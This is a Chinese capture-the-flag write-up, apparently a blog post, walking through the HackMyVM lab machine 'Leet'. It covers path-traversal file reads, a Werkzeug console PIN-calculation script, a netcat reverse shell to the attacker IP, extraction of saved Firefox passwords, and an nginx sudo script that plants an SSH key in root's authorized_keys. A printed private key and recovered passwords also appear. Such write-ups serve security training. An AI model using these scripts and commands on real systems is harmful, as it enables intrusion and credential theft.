leet - hackmyvm

简介

靶机:leet

靶机难度:困难

靶机地址:https://hackmyvm.eu/machines/machine.php?vm=Leet

攻击机(kali)ip:192.168.190.131

跳板机 (windows) ip:192.168.190.100;192.168.56.1

靶机ip:192.168.56.100

扫描

nmap起手

nmap -Pn --min-rate=10000  -sT -p0- 192.168.56.100 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -Pn -sT -sV -sC -O -p$ports 192.168.56.100 -oA nmapscan/detail

image-20240701160809126

22和7777,先从http入手

HTTP

网页功能是把我们输入的内容转换成txt文件。值得一提的是,它会把一些敏感字符替换成其他内容。image-20240701161140758

L33T其实是个早期很流行的编码,用来防范垃圾邮件和扫描器探测特定字符串,根据强度不同还有多种编码方案,但思路都是把字符替换成其他形状相近的字符。

image-20240701161415545

生成一波字母,得到对应关系如下

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
4bcd3fgh1jklmn0pqr5tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

感觉很难注入,先看看其他地方能不能利用。

目录扫描

feroxbuster -u http://192.168.56.100:7777/ -t 20 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt  -C 500  -d 3
❯ feroxbuster -u http://192.168.56.100:7777/ -t 10 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt  -C 500  -d 3

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.100:7777/
 🚀  Threads               │ 10
 📖  Wordlist              │ /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
 💢  Status Code Filters   │ [500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 3
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       25l       99w     1234c http://192.168.56.100:7777/
[>-------------------] - 28s     1370/1185240 6h      found:1       errors:0
[>-------------------] - 30s     1404/1185240 6h      found:1       errors:0
200      GET       45l      144w     1563c http://192.168.56.100:7777/console
404      GET        0l        0w      207c http://192.168.56.100:7777/lipiec2006
[########>-----------] - 4h    523084/1185240 8h      found:3       errors:93

扫描到/console路径,访问后出现调试控制台,可知是flask框架,看看能不能收集信息来计算pin码。

LFI

这个网站会给转换好的txt文件一个下载链接,我们拿下来看看。

image-20240701231546707

curl http://192.168.56.100:7777/download\?filename\=../../../etc/passwd

尝试目录穿越,成功了

image-20240701231713312

riva用户还是读不了的,也可以目录爆破,但效率很低,这里可以通过计算pin码来获得console权限。

pin码计算

首先明确我们需要获取哪些内容。网上找的一张图。

img

username: 反正不可能直接给我们root,所以应该是riva或者www-data

modname: 默认flask.app

appname: 默认Flask

moddir: 这里应该是翻译错了,本意应该是app.py的路径。我们随便读一个不存在的路径就可以通过报错得到了。/opt/project/venv/lib/python3.11/site-packages/flask/app.py

image-20240701234541200

uuidnode:直接读取../../../sys/class/net/lo/address……咦,咋没有?

可能网卡名字不是eth0,可以先查看网卡配置

curl http://192.168.56.100:7777/download\?filename\=../../../etc/network/interfaces

image-20240701233915194

名为enp0s3。linux网卡命名有一定规则,这里“en”代表以太网,“p0”是以太网卡的总线号,“s3”是插槽号。细则可以自行查阅。

然后再读取address就没有问题了。转换成十进制值为8796757364018

image-20240701234612655

machine_id:

curl只能读到machine_id啊……f6791f240ce6407ea271e86b78ac3bdb。cgroup怎样也读不到,这是什么缘故?后来尝试换参数、浏览器、系统都搞不了,想来大概又是什么环境问题,问了下其他师傅,也确实有很多人遇到这种情况。

image-20240702000011568

方法应该是没错的,底层系统问题很难排查,这边先略过。总之如果是正常情况下的话,能获取到cgroup为0::/system.slice/flaskapp.service,boot_id为7613d919-fd79-417e-871d-a57057ec646b

合成machine_id为f6791f240ce6407ea271e86b78ac3bdbflaskapp.service

我们现在有两个脚本,一个是算md5的,适用python3.6的版本

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
 
private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
 
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num
 
print(rv)

另一个是计算sha1,也就是python3.8及之后的版本

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'www-data'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/opt/project/venv/lib/python3.11/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '8796757364018',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

image-20240717113608298

这里使用第二个版本,计算出来pin码为138-199-135

回到/console,输入pin码后成功登陆

image-20240717113738466

回连就简单了,先攻击机起监听

rlwrap -cAr nc -lvvp 47000

然后python用os反弹shell即可

import os
os.system("nc -e /bin/sh 192.168.56.1 47000")

提权

sudo -l起手

Matching Defaults entries for www-data on leet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on leet:
    (riva) NOPASSWD: /usr/bin/micro

查了下,micro就是个编辑器。这边我直接当成vim,把攻击机的公钥写入/home/riva/.ssh/authorized_keys

image-20240717143802574

image-20240717143901042

3a5cf7b35876169c280229c213ed63c1

凭据获取

其他地方没找到什么有效的信息,执行了一下sudo -l,发现需要riva用户的密码,可以从这一步入手。

首先在用户目录下找到riva有安装firefox

image-20240717122956915

github上找到firefox的凭据获取工具firefox_decrypt,传到目标服务器上运行

scp ./firefox_decrypt.py riva@192.168.56.100:/home/riva/

目标机:

riva@leet:~$ python3 firefox_decrypt.py
Select the Mozilla profile you wish to decrypt
1 -> zbznfk37.default
2 -> guu30cui.default-esr
2

Website:   chrome://FirefoxAccounts
Username: '1db9561103ca4adc9afa6357c0a0b554'
Password: '{"version":1,"accountData":{"scopedKeys":{"https://identity.mozilla.com/apps/oldsync":{"kid":"1603273389635-IxsZ6HpGK9fL9tUfdcBqwA","k":"Q8lFF-E91kvogabSQ2yjKj7k2JHX30UDeHEriaxaCY5slUVmtQvP-e3is5GxBiUKkG3g4dQLbFRsVOYeMkjNpg","kty":"oct"},"sync:addon_storage":{"kid":"1603273389635-Ng9dJrdpVFqEoBs-R3LaTMKTiSWhWypqfmg9MJDby4U","k":"L8MGJk3tWVlmN9Sm-MmdauxuQ38fIl--NziTjg_AmjO51_-vHo70OELMwif8kqn2zE3Yqg30BLw1ndNplRzGCA","kty":"oct"}},"kSync":"43c94517e13dd64be881a6d2436ca32a3ee4d891d7df450378712b89ac5a098e6c954566b50bcff9ede2b391b106250a906de0e1d40b6c546c54e61e3248cda6","kXCS":"231b19e87a462bd7cbf6d51f75c06ac0","kExtSync":"2fc306264ded59596637d4a6f8c99d6aec6e437f1f225fbe3738938e0fc09a33b9d7ffaf1e8ef43842ccc227fc92a9f6cc4dd8aa0df404bc359dd369951cc608","kExtKbHash":"360f5d26b769545a84a01b3e4772da4cc2938925a15b2a6a7e683d3090dbcb85"}}'

Website:   http://leet.hmv
Username: 'riva'
Password: 'PGH$2r0co3L5QL'

Website:   https://hackmyvm.eu
Username: 'riva'
Password: 'lovelove80'

得到密码为PGH$2r0co3L5QL

nginx提权

riva@leet:~$ sudo -l
[sudo] password for riva:
Matching Defaults entries for riva on leet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User riva may run the following commands on leet:
    (root) /usr/sbin/nginx

可以看到我们可以用nginx提权。nginx本身没法执行啥系统命令,但是可以搭建服务器来让我们以root身份连接上去。

这边参考的是这篇文章,网上关于nginx执行shell命令的环境配置教程有很多,但直接无依赖直接提权较少。

https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406

首先将以下代码写入exp.sh中:

echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
	server {
	        listen 1339;
	        root /;
	        autoindex on;
	        dav_methods PUT;
	}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"

然后直接跑

riva@leet:~$ /tmp/exp.sh
bash: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8)
[+] Creating configuration...
[+] Loading configuration...
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: bind() to 0.0.0.0:1339 failed (98: Address already in use)
2024/07/17 08:24:49 [emerg] 1021#1021: still could not bind()
[+] Generating SSH Key...
Generating public/private rsa key pair.
Enter file in which to save the key (/home/riva/.ssh/id_rsa):
/home/riva/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/riva/.ssh/id_rsa
Your public key has been saved in /home/riva/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:RDBLkTcV9qCyL8FOs5CJBK+cJMK/+PWahbE6eamZdag riva@leet.hmv
The key's randomart image is:
+---[RSA 3072]----+
|.     =+..=.     |
|.o   ..+oo o     |
|ooo   o.o.  .    |
|=oo. + +         |
|.o..+.* S        |
|  . .+==         |
| . ..*=o.        |
|  .oBo=.         |
|   E+o..         |
+----[SHA256]-----+
[+] Display SSH Private Key for copy...
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
[+] Add key to root user...
[+] Use the SSH key to get access
riva@leet:~$ ls
firefox_decrypt.py  user.txt
riva@leet:~$ ssh -i ./.ssh/id_rsa root@127.0.0.1
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 28 17:37:49 2024 from 192.168.0.178
-bash: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8)
root@leet:~# cd
root@leet:~# ls
index.html  r007_fl46.7x7  troll.jpg
root@leet:~# cat r007_fl46.7x7
ca169772acb099a02ebab8da1d9070ea
root@leet:~#

可以看到我们先以root身份启动了nginx服务器,然后把riva私钥文件传入root的.ssh文件夹中,使得我们可以直接用riva的私钥连接root用户。

最后的flag为ca169772acb099a02ebab8da1d9070ea

  • 26
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
探险家小扣的行动轨迹,都将保存在记录仪中。expeditions[i] 表示小扣第 i 次探险记录,用一个字符串数组表示。其中的每个「营地」由大小写字母组成,通过子串 -> 连接。例:"Leet->code->Campsite",表示到访了 "Leet"、"code"、"Campsite" 三个营地。expeditions[0] 包含了初始小扣已知的所有营地;对于之后的第 i 次探险(即 expeditions[i] 且 i > 0),如果记录中包含了之前均没出现的营地,则表示小扣 新发现 的营地。 请你找出小扣发现新营地最多且索引最小的那次探险,并返回对应的记录索引。如果所有探险记录都没有发现新的营地,返回 -1。注意: 大小写不同的营地视为不同的营地; 营地的名称长度均大于 0。用python实现。给你几个例子:示例 1: 输入:expeditions = ["leet->code","leet->code->Campsite->Leet","leet->code->leet->courier"] 输出:1 解释: 初始已知的所有营地为 "leet" 和 "code" 第 1 次,到访了 "leet"、"code"、"Campsite"、"Leet",新发现营地 2 处:"Campsite"、"Leet" 第 2 次,到访了 "leet"、"code"、"courier",新发现营地 1 处:"courier" 第 1 次探险发现的新营地数量最多,因此返回 1。示例 2: 输入:expeditions = ["Alice->Dex","","Dex"] 输出:-1 解释: 初始已知的所有营地为 "Alice" 和 "Dex" 第 1 次,未到访任何营地; 第 2 次,到访了 "Dex",未新发现营地; 因为两次探险均未发现新的营地,返回 -1
04-23

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值